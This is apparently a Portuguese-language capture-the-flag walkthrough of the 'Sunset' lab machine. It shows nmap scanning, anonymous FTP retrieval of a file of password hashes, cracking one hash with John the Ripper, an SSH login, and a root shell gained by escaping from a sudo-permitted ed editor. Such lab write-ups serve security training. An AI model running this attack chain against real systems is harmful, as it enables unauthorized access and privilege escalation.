Sunset

IP da máquina: 192.168.2.106 // MAC: 08:00:27:43:79:8B

Resultados do nmap:

nmap -A -p- -v 192.168.2.106

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.2.106:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
|   256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)
|_  256 45:c5:40:14:49:cf:80:3c:41:4f:bb:22:6c:80:1e:fe (ED25519)
MAC Address: 08:00:27:43:79:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
```

FTP:

Usuário: anonymous

```
root@kali:~# ftp 192.168.2.106
Connected to 192.168.2.106.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.106:root): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

ls

get backup

```
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--    1 root     root         1062 Jul 29  2019 backup
226 Transfer complete.
ftp> get backup
local: backup remote: backup
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
1062 bytes received in 0.02 secs (68.3028 kB/s)
```

```
root@kali:~# cat backup
CREDENTIALS:


office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.


datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/


sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0


sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFL
zFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
```

John The Ripper:

```
root@kali:~# john hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
cheer14          (?)
1g 0:00:11:12 DONE 3/3 (2020-06-22 11:29) 0.001486g/s 479.8p/s 479.8c/s 479.8C/s chadina..cheerse
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Usuário: sunset // Senha: cheer14

SSH:

ssh-keygen -f "/r0ot/.ssh/known_hosts" -R "192.168.2.106"

```
root@kali:~# ssh sunset@192.168.2.106
The authenticity of host '192.168.2.106 (192.168.2.106)' can't be established.
ECDSA key fingerprint is SHA256:n9ATwmONo6fCyPblqlvcO7WcIWZJMqBaqDdo/jYnLPI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.106' (ECDSA) to the list of known hosts.
sunset@192.168.2.106's password:
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182
sunset@sunset:~$ id
uid=1000(sunset) gid=1000(sunset) groups=1000(sunset),24(cdrom),25(floppy),29(audio),30(dip),44(video),46
(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
sunset@sunset:~$ uname -a
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64 GNU/Linux
```

```
sunset@sunset:~$ sudo -l
Matching Defaults entries for sunset on sunset:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
    (root) NOPASSWD: /usr/bin/ed
```

Root:

sudo /usr/bin/ed

!/bin/bash

```
sunset@sunset:~$ sudo /usr/bin/ed
!/bin/bash
root@sunset:/home/sunset# id
uid=0(root) gid=0(root) groups=0(root)
root@sunset:/home/sunset# uname -a
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64 GNU/Linux
```